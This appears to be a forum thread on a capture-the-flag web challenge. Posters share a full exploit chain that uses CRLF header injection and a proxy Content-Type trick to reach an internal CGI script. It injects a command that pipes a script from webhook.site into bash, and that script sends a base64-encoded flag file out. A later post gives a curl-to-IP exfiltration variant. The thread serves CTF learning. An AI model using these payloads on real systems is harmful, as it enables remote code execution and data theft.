what is your index.html? instead of revshell can just have a simple one that leaks to webhook/your sever
#!/bin/bash
curl <YOUR WEBHOOK/SERVER>/?flag=`cat /flag*|base64`
So the final payload will look like:
curl 'http://94.237.55.61:49508/cgi-bin/attack-domain?target=-&name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(curl%2bhttps://webhook.site/<WEBHOOK_ID>|bash)%26name=%0d%0a%0d%0a'
And as the content of the webhook you can put:
Content-Type text/html
Content:
#!/bin/bash
curl https://webhook.site/4c227219-d9b7-4b35-8eac-cd20ceb4847a?flag=`cat /flag*|base64`
I have set up the webhook exactly as you have said. Appreciate all the help btw The issue I have now is with the curl command which outputs:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

Can someone explain the payload ??
And why is "-" working on target ? Because the regex should block the dash ...

(This post was last modified: Mar 24, 2025, 01:17 AM by htdgthdsfx.)
I'm also getting an error with the webhook. My theory is that the application filters out domain names that don't contain anything. It accepts webhook.site, but not webhook.site/<id webhook>, nor does it accept names that begin with https. I don't know if there's a way to bypass this.

While working on this challenge, I had some issues with the '/'. Even tho I encoded it 2 times, it was kinda still not working. So instead I used a solve like this :
curl+xx.xx.xx.xx?a=$(ls) just avoid doing any kind of '/', here's the solve :
curl+xx.xx.xx.xx?a=$(cd .. && cd .. && cd .. && cat flag*)
also remember to double encode this.
